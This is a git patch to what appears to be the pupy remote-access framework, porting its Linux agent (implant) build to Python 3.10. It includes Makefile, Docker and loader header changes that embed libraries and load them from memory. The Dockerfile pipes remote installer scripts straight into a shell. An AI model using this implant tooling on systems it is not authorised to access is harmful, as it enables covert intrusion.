From 90a8f7a9c322a3d28fc8bc3d042aa71c6876c105 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Mon, 28 Aug 2023 15:07:35 +0200 Subject: [PATCH] fix python3 linux agent build --- client/additional_imports.py | 1 + client/build-docker.sh | 2 + client/build_library_zip.py | 4 +- client/common/debug.c | 2 + client/common/debug.h | 5 +- client/mktab.py | 4 +- client/pyoxidizer-build/build_template.sh | 4 + client/requirements.txt | 2 - .../.gitignore | 8 +- .../Dockerfile.linux-builder | 35 + .../LICENSES.txt | 0 .../Makefile | 89 +- client/sources-linux-py3/Python-dynload-os.h | 229 +++++ .../Python.SunOS10.Setup.dist | 0 .../build-docker.sh | 85 +- client/sources-linux-py3/build_c_ext.py | 26 + .../buildenv-sunos.sh | 0 .../compat/bits/sched.h | 0 .../compat/bits/stat.h | 0 .../compat/ifaddrs.h | 0 .../compat/sched.h | 0 .../daemonize.c | 0 .../daemonize.h | 0 .../decompress.c | 0 .../decompress.h | 0 .../docker/pyenv-setup-build.patch | 35 + .../fixes.c | 0 .../fixes.h | 0 .../ld_hooks.c | 0 .../ld_hooks.h | 0 .../main_exe.c | 0 .../main_so.c | 0 .../memfd.h | 1 - .../pupy.c | 171 ++-- .../pupy.ldscript | 0 .../pupy.so.ldscript | 0 .../pupy_load.c | 42 +- .../pupy_load.h | 0 client/sources-linux-py3/revision.h | 1 + .../tmplibrary.c | 8 +- .../tmplibrary.h | 0 client/sources-linux/NOTES | 69 -- client/sources-linux/Python-dynload-os.h | 97 --- client/sources-linux/injector | 1 - client/sources-windows-py3/.gitignore | 4 + client/sources-windows-py3/pupy.c | 3 +- pupy/agent/__init__.py | 38 +- pupy/agent/dl_hacks.py | 6 +- pupy/cli/pupygen.py | 4 - pupy/payload_templates/PupyLoaderTemplate.cs | 796 ------------------ pupy/pupylib/PupyServer.py | 1 + pupy/pupylib/PupyWeb.py | 5 +- 52 files changed, 667 insertions(+), 1111 deletions(-) rename client/{sources-linux => sources-linux-py3}/.gitignore (56%) create mode 100644 client/sources-linux-py3/Dockerfile.linux-builder rename client/{sources-linux => sources-linux-py3}/LICENSES.txt (100%) rename client/{sources-linux => sources-linux-py3}/Makefile (72%) create mode 100644 client/sources-linux-py3/Python-dynload-os.h rename client/{sources-linux => sources-linux-py3}/Python.SunOS10.Setup.dist (100%) rename client/{sources-linux => sources-linux-py3}/build-docker.sh (62%) create mode 100644 client/sources-linux-py3/build_c_ext.py rename client/{sources-linux => sources-linux-py3}/buildenv-sunos.sh (100%) rename client/{sources-linux => sources-linux-py3}/compat/bits/sched.h (100%) rename client/{sources-linux => sources-linux-py3}/compat/bits/stat.h (100%) rename client/{sources-linux => sources-linux-py3}/compat/ifaddrs.h (100%) rename client/{sources-linux => sources-linux-py3}/compat/sched.h (100%) rename client/{sources-linux => sources-linux-py3}/daemonize.c (100%) rename client/{sources-linux => sources-linux-py3}/daemonize.h (100%) rename client/{sources-linux => sources-linux-py3}/decompress.c (100%) rename client/{sources-linux => sources-linux-py3}/decompress.h (100%) create mode 100644 client/sources-linux-py3/docker/pyenv-setup-build.patch rename client/{sources-linux => sources-linux-py3}/fixes.c (100%) rename client/{sources-linux => sources-linux-py3}/fixes.h (100%) rename client/{sources-linux => sources-linux-py3}/ld_hooks.c (100%) rename client/{sources-linux => sources-linux-py3}/ld_hooks.h (100%) rename client/{sources-linux => sources-linux-py3}/main_exe.c (100%) rename client/{sources-linux => sources-linux-py3}/main_so.c (100%) rename client/{sources-linux => sources-linux-py3}/memfd.h (99%) rename client/{sources-linux => sources-linux-py3}/pupy.c (73%) rename client/{sources-linux => sources-linux-py3}/pupy.ldscript (100%) rename client/{sources-linux => sources-linux-py3}/pupy.so.ldscript (100%) rename client/{sources-linux => sources-linux-py3}/pupy_load.c (66%) rename client/{sources-linux => sources-linux-py3}/pupy_load.h (100%) create mode 100644 client/sources-linux-py3/revision.h rename client/{sources-linux => sources-linux-py3}/tmplibrary.c (98%) rename client/{sources-linux => sources-linux-py3}/tmplibrary.h (100%) delete mode 100644 client/sources-linux/NOTES delete mode 100644 client/sources-linux/Python-dynload-os.h delete mode 160000 client/sources-linux/injector create mode 100644 client/sources-windows-py3/.gitignore delete mode 100644 pupy/payload_templates/PupyLoaderTemplate.cs diff --git a/client/additional_imports.py b/client/additional_imports.py index b9ddaf13..299b6945 100644 --- a/client/additional_imports.py +++ b/client/additional_imports.py @@ -4,6 +4,7 @@ import socket import threading import queue import collections +import _struct import struct import os import sys diff --git a/client/build-docker.sh b/client/build-docker.sh index aeffff0e..29fa9b7f 100755 --- a/client/build-docker.sh +++ b/client/build-docker.sh @@ -52,6 +52,8 @@ if [ ! -z "$1" ] && [ ! -z "$2" ]; then start_container $1 $2 else start_container windows-py3 sources-windows-py3 + start_container pupy-linux-py3 sources-linux-py3 + #start_container linux32 sources-linux #start_container linux-amd64-py3 sources-linux-py3 #start_container linux-amd64-py2 sources-linux-py2 diff --git a/client/build_library_zip.py b/client/build_library_zip.py index 6e601f7c..b740c888 100644 --- a/client/build_library_zip.py +++ b/client/build_library_zip.py @@ -103,7 +103,7 @@ all_dependencies.add('re') exceptions = ( 'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules', - 'network', 'pupyimporter', 'additional_imports' + 'network', 'pupyimporter', 'additional_imports', '_openssl' ) all_dependencies = sorted(list(set(all_dependencies))) @@ -117,7 +117,7 @@ for dep in list(all_dependencies): ignore = { - '_cffi_backend.so', '_cffi_backend.pyd', + '_cffi_backend.pyd', # We don't use this anyway 'Crypto/PublicKey/ElGamal.py', diff --git a/client/common/debug.c b/client/common/debug.c index 243ddc9a..d43c9b0f 100644 --- a/client/common/debug.c +++ b/client/common/debug.c @@ -17,6 +17,7 @@ int dprint(const char *fmt, ...) { return n; } +#ifdef _WIN32 int dwprint(const wchar_t *fmt, ...) { va_list args; int n; @@ -31,6 +32,7 @@ int dwprint(const wchar_t *fmt, ...) { fflush(log); return n; } +#endif void set_debug_log(const char *dest) { FILE * new_debug_log = fopen(dest, "w+"); diff --git a/client/common/debug.h b/client/common/debug.h index cc95a218..2e755ba8 100644 --- a/client/common/debug.h +++ b/client/common/debug.h @@ -7,17 +7,20 @@ #ifdef DEBUG int dprint(const char *fmt, ...); +#ifdef _WIN32 int dwprint(const wchar_t *fmt, ...); +#endif void set_debug_log(const char *dest); + #define DOC(x) x #else #define DOC(x) "" #define dprint(...) do {} while (0) -#define dwprint(...) do {} while (0) +#define dwprint(...) do {} while (0)// #endif diff --git a/client/mktab.py b/client/mktab.py index c19acfb5..9124d301 100644 --- a/client/mktab.py +++ b/client/mktab.py @@ -128,7 +128,6 @@ int , Py_NoUserSiteDirectory int , Py_DontWriteBytecodeFlag int , Py_IgnoreEnvironmentFlag int , Py_IsolatedFlag -int , Py_LegacyWindowsFSEncodingFlag int , Py_UnbufferedStdioFlag PyObject, PyUnicode_Type @@ -149,8 +148,11 @@ int, PyRun_SimpleString, (const char *command) int, _PyImport_FixupExtensionObject, (PyObject *mod, PyObject *name, PyObject *filename, PyObject *modules) PyObject *, PyImport_GetModuleDict, () +PyObject *, PyFile_FromFd, (int fd, const char *name, const char *mode, int buffering, const char *encoding, const char *errors, const char *newline, int closefd) + '''.strip().splitlines() +#int , Py_LegacyWindowsFSEncodingFlag # useful types ? """ diff --git a/client/pyoxidizer-build/build_template.sh b/client/pyoxidizer-build/build_template.sh index 25c4a6bf..577b0ee9 100755 --- a/client/pyoxidizer-build/build_template.sh +++ b/client/pyoxidizer-build/build_template.sh @@ -14,3 +14,7 @@ strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy echo "saving built template to ~/.pupy/payload_templates/ ..." mkdir -p ~/.pupy/payload_templates cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx86-310.lin + + +# not working, missing msvc on windows +#docker run --rm -v $(pwd):/opt/win/drive_c/tools/pupy -ti wine 'set PATH=%PATH%;C:\\Program Files\\PyOxidizer && C: && cd C:\\tools\\pupy && pyoxidizer build --release' diff --git a/client/requirements.txt b/client/requirements.txt index acb6f3be..2f15a4e2 100644 --- a/client/requirements.txt +++ b/client/requirements.txt @@ -1,5 +1,3 @@ -pycryptodome==3.7.0 -pycryptodomex==3.7.0 pyaes psutil==5.9.2 rsa==4.0 diff --git a/client/sources-linux/.gitignore b/client/sources-linux-py3/.gitignore similarity index 56% rename from client/sources-linux/.gitignore rename to client/sources-linux-py3/.gitignore index b15f3ea1..2b32e3af 100644 --- a/client/sources-linux/.gitignore +++ b/client/sources-linux-py3/.gitignore @@ -2,13 +2,11 @@ import-tab.c import-tab.h resources_bootloader_pyc.c resources_library_compressed_string_txt.c -resources_python27_so.c +resources_python3x_so.c resources_libcrypto_so.c resources_libssl_so.c resources_zlib_so.c -resources/bootloader.pyc -resources/library.zip -resources/library_compressed_string.txt -resources/python27.so +resources/* *.pyc *.o +build/* diff --git a/client/sources-linux-py3/Dockerfile.linux-builder b/client/sources-linux-py3/Dockerfile.linux-builder new file mode 100644 index 00000000..eb7b223f --- /dev/null +++ b/client/sources-linux-py3/Dockerfile.linux-builder @@ -0,0 +1,35 @@ +FROM debian:buster +RUN apt-get update -y +RUN apt-get upgrade -y +RUN apt-get install -y curl git make build-essential libssl-dev zlib1g-dev \ +libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \ +libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl libcap-dev libnacl-dev unixodbc libacl1-dev libasound2-dev portaudio19-dev zip +RUN curl https://pyenv.run | bash + +ENV HOME="/root" +ENV PYENV_ROOT="$HOME/.pyenv" +ENV PATH="$PYENV_ROOT/bin:$PATH" +RUN echo '#!/bin/bash' >> /init.sh \ + && echo 'eval "$(pyenv init -)"' >> /init.sh \ + && echo 'eval "$(pyenv virtualenv-init -)"' >> /init.sh +COPY docker /tmp/docker +RUN pyenv install 3.10.6 --patch < /tmp/docker/pyenv-setup-build.patch +RUN pyenv global 3.10.6 \ + && pyenv virtualenv 3.10.6 pupy + +RUN curl https://sh.rustup.rs -sSf | sh -s -- -y +# Add .cargo/bin to PATH +ENV PATH="/root/.cargo/bin:${PATH}" +RUN echo 'pyenv activate pupy' >> /init.sh + +RUN chmod +x /init.sh +RUN bash -c "source /init.sh;" +RUN echo '$@' >> /init.sh + +ENV TOOLCHAIN_ARCH="amd64" + +WORKDIR /build/workspace/project/ + +ENTRYPOINT ["bash", "/init.sh"] +CMD ["client/sources-linux-py3/build-docker.sh"] + diff --git a/client/sources-linux/LICENSES.txt b/client/sources-linux-py3/LICENSES.txt similarity index 100% rename from client/sources-linux/LICENSES.txt rename to client/sources-linux-py3/LICENSES.txt diff --git a/client/sources-linux/Makefile b/client/sources-linux-py3/Makefile similarity index 72% rename from client/sources-linux/Makefile rename to client/sources-linux-py3/Makefile index 2f4bd29a..734cf1fa 100644 --- a/client/sources-linux/Makefile +++ b/client/sources-linux-py3/Makefile @@ -1,6 +1,6 @@ CC ?= gcc -PYMAJ ?= 2 -PYMIN ?= 7 +PYMAJ ?= 3 +PYMIN ?= 10 OS ?= $(shell uname -s) MACH ?= $(shell uname -m) @@ -16,6 +16,7 @@ PIE ?= -pie CFLAGS += -D$(OS) -std=gnu99 CFLAGS += -DPYMAJ=$(PYMAJ) -DPYMIN=$(PYMIN) +CFLAGS += -DPYTHON_LIB_NAME="python$(PYMAJ)$(PYMIN).so" ifeq ($(OPENSSL_LIB_VERSION),) OPENSSL_LIB_VERSION := 1.0.0 @@ -27,6 +28,10 @@ ifeq ($(LIBPYTHON),) LIBPYTHON := $(shell /sbin/ldconfig -p | awk '/libpython$(PYMAJ).$(PYMIN).so/{print $$4}' | head -n 1) endif +ifeq ($(LIBPYTHON_INC),) +#LIBPYTHON_INC := -I/root/.pyenv/versions/3.10.6/include/python3.10/ +endif + ifeq ($(LIBCRYPTO),) LIBCRYPTO := $(shell /sbin/ldconfig -p | awk '/libcrypto.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1) endif @@ -35,6 +40,11 @@ ifeq ($(LIBSSL),) LIBSSL := $(shell /sbin/ldconfig -p | awk '/libssl.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1) endif + +ifeq ($(LIBFFI),) +LIBFFI := $(shell /sbin/ldconfig -p | awk '/libffi.so.6/{print $$4}' | head -n1) +endif + XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")' # Compatibility for old well-known platforms @@ -90,20 +100,19 @@ ifneq ($(DEBUG_USE_OS_PYTHON),) CFLAGS += -DDEBUG_USE_OS_PYTHON endif -PYTHON ?= python +PYTHON ?= python3 TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/ -SHARED_OBJS := main_so.o pupy_shared.o tmplibrary_lmid.o pupy_load_shared.o +SHARED_OBJS := main_so.o tmplibrary_lmid.o pupy_load.o SHARED_CFLAGS := -D_PUPY_SO -APP_OBJS := main_exe.o pupy.o tmplibrary.o pupy_load.o +APP_OBJS := main_exe.o tmplibrary.o pupy_load.o COMMON_OBJS := daemonize.o decompress.o LOAD_DEPS := \ - resources/$(MACH)/libssl.c resources/$(MACH)/libcrypto.c \ - resources/$(MACH)/python$(PYMAJ)$(PYMIN).c \ + resources/$(MACH)/libssl.c \ + resources/$(MACH)/libcrypto.c \ + resources/$(MACH)/libffi.c \ + resources/$(MACH)/python3x.c \ resources/$(MACH)/library.c \ - ../common/Python-dynload.c ../common/Python-dynload.h \ - ../common/Python-dynload.c ../common/Python-dynload.h \ - ../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \ import-tab.h revision.h @@ -121,6 +130,7 @@ endif ifneq ($(DEBUG),) COMMON_OBJS += $(DEBUG_OBJS) +CEXTFLAGS := --debug endif ifeq ($(UNCOMPRESSED),) @@ -144,7 +154,16 @@ CFLAGS += -D_FEATURE_INJECTOR -Iinjector/include LDFLAGS += -Wl,-wrap,realpath endif -all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so +PUPY_LOAD_DEPS := \ + pupy_load.c \ + resources/$(MACH)/library.c \ + resources/$(MACH)/python3x.c \ + resources/$(MACH)/libssl.c \ + resources/$(MACH)/libcrypto.c \ + resources/$(MACH)/libffi.c \ + import-tab.c revision.h + +all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so revision.h: if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \ @@ -153,24 +172,30 @@ revision.h: debug.o: ../common/debug.c ../common/debug.h $(CC) -c -o $@ $< $(CFLAGS) -pupy.o: pupy.c revision.h ../common/Python-dynload.h import-tab.h +resources/$(MACH)/_pupy.so: build_c_ext.py revision.h pupy.c daemonize.c tmplibrary.c decompress.c ld_hooks.c + $(PYTHON) build_c_ext.py build $(CEXTFLAGS) + cp -f $(shell echo build/lib.linux-*/_pupy.*) resources/$(MACH)/_pupy.so -pupy_shared.o: pupy.c revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h - $(CC) -c -o $@ $< $(CFLAGS) $(SHARED_CFLAGS) +# pupy.o: revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h $(PUPY_LOAD_DEPS) resources/$(MACH)/python3x.c +# $(CC) -c $(LIBPYTHON_INC) -o $@ $(CFLAGS) $(SHARED_CFLAGS) $< -main_so.o: import-tab.h -main_exe.o: import-tab.h +main_so.o: main_so.c import-tab.h + $(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS) -pupy_load_shared.o: pupy_load.c $(LOAD_DEPS) - $(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS) +main_exe.o: main_exe.c import-tab.h + $(CC) $(CFLAGS) -c -o $@ $< -pupy_load.o: pupy_load.c $(LOAD_DEPS) +pupy_load.o: pupy_load.c $(LOAD_DEPS) resources/$(MACH)/_pupy.c import-tab.h + $(CC) -c -o $@ $< $(CFLAGS) + +tmplibrary.o: tmplibrary.c + $(CC) -c -o $@ $< $(CFLAGS) tmplibrary_lmid.o: tmplibrary.c $(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID import-tab.c import-tab.h: ../mktab.py - $(PYTHON) $(PFLAGS) $< + $(PYTHON) $(PFLAGS) $< UCS4 ifeq ($(UNCOMPRESSED),) LzmaDec.o: ../common/LzmaDec.c @@ -219,10 +244,21 @@ resources/$(MACH)/libssl.so: $(LIBSSL) mv $@.tmp $@ rm -f $@.tmp +resources/$(MACH)/libffi.so: $(LIBFFI) + @mkdir -p resources/$(MACH) + cp -f $< $@.tmp + -chmod 600 $@.tmp + -strip $@.tmp + mv $@.tmp $@ + rm -f $@.tmp + resources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py $(PYTHON) -OO $(PFLAGS) $< $@ -resources/$(MACH)/python$(PYMAJ)$(PYMIN).c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so +resources/$(MACH)/_pupy.c: ../gen_resource_header.py resources/$(MACH)/_pupy.so + $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) + +resources/$(MACH)/python3x.c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so @@ -231,6 +267,9 @@ resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.s resources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) +resources/$(MACH)/libffi.c: ../gen_resource_header.py resources/$(MACH)/libffi.so + $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) + $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) \ -Wl,--version-script=pupy.ldscript \ @@ -240,21 +279,29 @@ $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS) $(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME)-$(SUFFIX).so \ -Wl,--version-script=pupy.so.ldscript +$(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so: resources/$(MACH)/_pupy.so + cp resources/$(MACH)/_pupy.so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so + .PHONY: clean all clean: rm -f $(COMMON_OBJS) $(PYOBJS) rm -f pupy pupy.so rm -f *.o + rm -f resources/$(MACH)/_pupy.so + rm -f resources/$(MACH)/_pupy.c + rm -rf build distclean: clean rm -f resources/*.c rm -f resources/$(MACH)/*.c + rm -f resources/$(MACH)/_pupy.so rm -f ld_hooks_$(NAME).c rm -f ld_hooks_$(NAME).so rm -f import-tab.c rm -f import-tab.h rm -f revision.h rm -rf resources + rm -rf build $(COMMON_OBJS) $(PYOBJS): import-tab.h diff --git a/client/sources-linux-py3/Python-dynload-os.h b/client/sources-linux-py3/Python-dynload-os.h new file mode 100644 index 00000000..1548002e --- /dev/null +++ b/client/sources-linux-py3/Python-dynload-os.h @@ -0,0 +1,229 @@ +#ifndef PYTHON_DYNLOAD_OS_H +#define PYTHON_DYNLOAD_OS_H + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#ifndef PYTHON_LIB_NAME +#define PYTHON_LIB_NAME "python310.so" +#endif + +#include "Python-dynload.h" + +#define FREE_HMODULE_AFTER_LOAD 1 +#define FILE_SYSTEM_ENCODING "utf-8" + +typedef void *HMODULE; +typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name); + +#ifndef OPENSSL_LIB_VERSION +#define OPENSSL_LIB_VERSION "1.1" +#endif + +typedef struct PyPreConfig { + int _config_init; + int parse_argv; + int isolated; + int use_environment; + int configure_locale; + int coerce_c_locale; + int coerce_c_locale_warn; + int legacy_windows_fs_encoding; + int utf8_mode; + int dev_mode; + int allocator; +} PyPreConfig; + +typedef struct { + enum { + _PyStatus_TYPE_OK=0, + _PyStatus_TYPE_ERROR=1, + _PyStatus_TYPE_EXIT=2 + } _type; + const char *func; + const char *err_msg; + int exitcode; +} PyStatus; + +typedef struct { + /* If length is greater than zero, items must be non-NULL + and all items strings must be non-NULL */ + Py_ssize_t length; + wchar_t **items; +} PyWideStringList; + +typedef struct PyConfig { + int _config_init; /* _PyConfigInitEnum value */ + + int isolated; + int use_environment; + int dev_mode; + int install_signal_handlers; + int use_hash_seed; + unsigned long hash_seed; + int faulthandler; + int tracemalloc; + int perf_profiling; + int import_time; + int code_debug_ranges; + int show_ref_count; + int dump_refs; + wchar_t *dump_refs_file; + int malloc_stats; + wchar_t *filesystem_encoding; + wchar_t *filesystem_errors; + wchar_t *pycache_prefix; + int parse_argv; + PyWideStringList orig_argv; + PyWideStringList argv; + PyWideStringList xoptions; + PyWideStringList warnoptions; + int site_import; + int bytes_warning; + int warn_default_encoding; + int inspect; + int interactive; + int optimization_level; + int parser_debug; + int write_bytecode; + int verbose; + int quiet; + int user_site_directory; + int configure_c_stdio; + int buffered_stdio; + wchar_t *stdio_encoding; + wchar_t *stdio_errors; +#ifdef _WIN32 + int legacy_windows_stdio; +#endif + wchar_t *check_hash_pycs_mode; + int use_frozen_modules; + int safe_path; + int int_max_str_digits; + + /* --- Path configuration inputs ------------ */ + int pathconfig_warnings; + wchar_t *program_name; + wchar_t *pythonpath_env; + wchar_t *home; + wchar_t *platlibdir; + + /* --- Path configuration outputs ----------- */ + int module_search_paths_set; + PyWideStringList module_search_paths; + wchar_t *stdlib_dir; + wchar_t *executable; + wchar_t *base_executable; + wchar_t *prefix; + wchar_t *base_prefix; + wchar_t *exec_prefix; + wchar_t *base_exec_prefix; + + /* --- Parameter only used by Py_Main() ---------- */ + int skip_source_first_line; + wchar_t *run_command; + wchar_t *run_module; + wchar_t *run_filename; + + /* --- Private fields ---------------------------- */ + + // Install importlib? If equals to 0, importlib is not initialized at all. + // Needed by freeze_importlib. + int _install_importlib; + + // If equal to 0, stop Python initialization before the "main" phase. + int _init_main; + + // If non-zero, disallow threads, subprocesses, and fork. + // Default: 0. + int _isolated_interpreter; + + // If non-zero, we believe we're running from a source tree. + int _is_python_build; +} PyConfig; + + +#define DEPENDENCIES \ +{ \ + { \ + "libcrypto.so." OPENSSL_LIB_VERSION, \ + libcrypto_c_start, \ + libcrypto_c_size, \ + FALSE \ + }, { \ + "libssl.so." OPENSSL_LIB_VERSION, \ + libssl_c_start, \ + libssl_c_size, \ + FALSE \ + }, { \ + "libffi.so.6", \ + libffi_c_start, \ + libffi_c_size, \ + FALSE \ + }, { \ + "python310.so", \ + python3x_c_start, \ + python3x_c_size, \ + TRUE \ + } \ +} + +#define OSAlloc(size) malloc(size) +#define OSFree(ptr) free(ptr) + +#define OSLoadLibrary(name) dlopen(name, RTLD_NOW) +#define OSResolveSymbol dlsym +#define OSUnmapRegion munmap +#define MemLoadLibrary(name, bytes, size, arg) \ + memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL) +#define MemResolveSymbol dlsym +#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD) + +#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS +static const char *OSGetProgramName() +{ + static BOOL is_set = FALSE; + static char exe[PATH_MAX] = {'\0'}; + + if (is_set) + return exe; + +#if defined(Linux) + dprint("INVOCATION NAME: %s\n", program_invocation_name); + + if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) + { + if (strstr(exe, "/memfd:")) + { + snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid()); + } + } + else + { + char *upx_env = getenv(" "); + if (upx_env) + { + snprintf(exe, sizeof(exe), "%s", upx_env); + } + } + +#elif defined(SunOS) + strcpy(exe, getexecname()); +#endif + + is_set = TRUE; + return exe; +} + +#include "python3x.c" +#include "libcrypto.c" +#include "libssl.c" +#include "libffi.c" +#include "tmplibrary.h" +#endif + +#endif diff --git a/client/sources-linux/Python.SunOS10.Setup.dist b/client/sources-linux-py3/Python.SunOS10.Setup.dist similarity index 100% rename from client/sources-linux/Python.SunOS10.Setup.dist rename to client/sources-linux-py3/Python.SunOS10.Setup.dist diff --git a/client/sources-linux/build-docker.sh b/client/sources-linux-py3/build-docker.sh similarity index 62% rename from client/sources-linux/build-docker.sh rename to client/sources-linux-py3/build-docker.sh index 478a8a55..691c77d4 100755 --- a/client/sources-linux/build-docker.sh +++ b/client/sources-linux-py3/build-docker.sh @@ -12,8 +12,10 @@ TEMPLATES=$PUPY/payload_templates EXTERNAL=../../pupy/external PYKCP=$EXTERNAL/pykcp PYOPUS=$EXTERNAL/pyopus/src +SUFFIX="-`python -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`" PIP_INSTALL="python -m pip install --upgrade" + set -e echo "[+] Install python packages" @@ -21,54 +23,54 @@ echo "[+] Install python packages" $PIP_INSTALL pip $PIP_INSTALL setuptools cython $PIP_INSTALL -q six packaging appdirs +#CC=/gccwrap -CC=/gccwrap CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \ - $PIP_INSTALL -q pynacl --no-binary :all: +CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \ + $PIP_INSTALL -q pynacl -CC=/gccwrap CFLAGS_FILTER="-Wno-error=sign-conversion" \ +CFLAGS_FILTER="-Wno-error=sign-conversion" \ CFLAGS="$CFLAGS -DHEADER_UI_H -D__builtin_unreachable=abort" \ $PIP_INSTALL -q cryptography --no-binary :all: export PRCTL_SKIP_KERNEL_CHECK=yes -if [ "$TOOLCHAIN_ARCH" == "x86" ]; then +if [ "$TOOLCHAIN_ARCH" = "x86" ]; then export CFLAGS="$CFLAGS -D__NR_ioprio_get=290 -D__NR_ioprio_set=289" fi - LDFLAGS="$LDFLAGS -Wl,-Bstatic -lcap -Wl,-Bdynamic" \ - $PIP_INSTALL python-prctl --no-binary :all: + $PIP_INSTALL python-prctl +$PIP_INSTALL pyodbc $PIP_INSTALL \ - pyaml ushlex rsa netaddr==0.7.19 pyyaml ecdsa idna impacket \ + pyaml ushlex rsa netaddr pyyaml ecdsa idna impacket \ paramiko pylzma pydbus python-ptrace psutil scandir \ scapy colorama pyOpenSSL python-xlib msgpack-python \ - u-msgpack-python poster dnslib pyxattr pylibacl http_parser \ + u-msgpack-python dnslib pyxattr pylibacl http_parser \ https://github.com/alxchk/tinyec/archive/master.zip \ https://github.com/warner/python-ed25519/archive/master.zip \ https://github.com/alxchk/urllib-auth/archive/master.zip \ - zeroconf==0.19.1 pyodbc \ - watchdog pulsectl pycryptodomex==3.7.0 --no-binary :all: + zeroconf \ + watchdog pulsectl pycryptodomex --no-binary :all: LDFLAGS="$LDFLAGS -lm -lasound" CFLAGS="$CFLAGS -std=gnu99" \ $PIP_INSTALL pyalsaaudio --no-binary :all: -if [ "$TOOLCHAIN_ARCH" == "x86" ]; then +if [ "$TOOLCHAIN_ARCH" = "x86" ]; then CFLAGS_PYJNIUS="$CFLAGS" else CFLAGS_PYJNIUS="$CFLAGS -D_LP64" fi -CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \ - python -m pip install \ - https://github.com/alxchk/pyjnius/archive/master.zip +#CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \ +# python -m pip install \ +# https://github.com/alxchk/pyjnius/archive/master.zip CFLAGS="$CFLAGS -DDUK_DOUBLE_INFINITY=\"(1.0 / 0.0)\"" \ LDFLAGS="$LDFLAGS -lm" \ $PIP_INSTALL dukpy --no-binary :all: -LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \ - $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip - +#LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \ +# $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip LDFLAGS="$LDFLAGS -lasound -lm -lrt" $PIP_INSTALL pyaudio $PIP_INSTALL --force-reinstall pycparser==2.17 @@ -78,20 +80,19 @@ rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info} $PIP_INSTALL --force $PYKCP python -c 'import kcp' || exit 1 -echo "[+] Compile opus" -(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages) -python -c 'import opus' || exit 1 +#echo "[+] Compile opus" +#(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages) +#python -c 'import opus' || exit 1 echo "[+] Compile pyuv" -if [ "$TOOLCHAIN_ARCH" == "x86" ]; then +if [ "$TOOLCHAIN_ARCH" = "x86" ]; then CFLAGS_PYUV="-O2 -pipe -DCLOCK_MONOTONIC=1 -UHAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC" CFLAGS_PYUV="$CFLAGS_PYUV -U_FILE_OFFSET_BITS -D_XOPEN_SOURCE=600 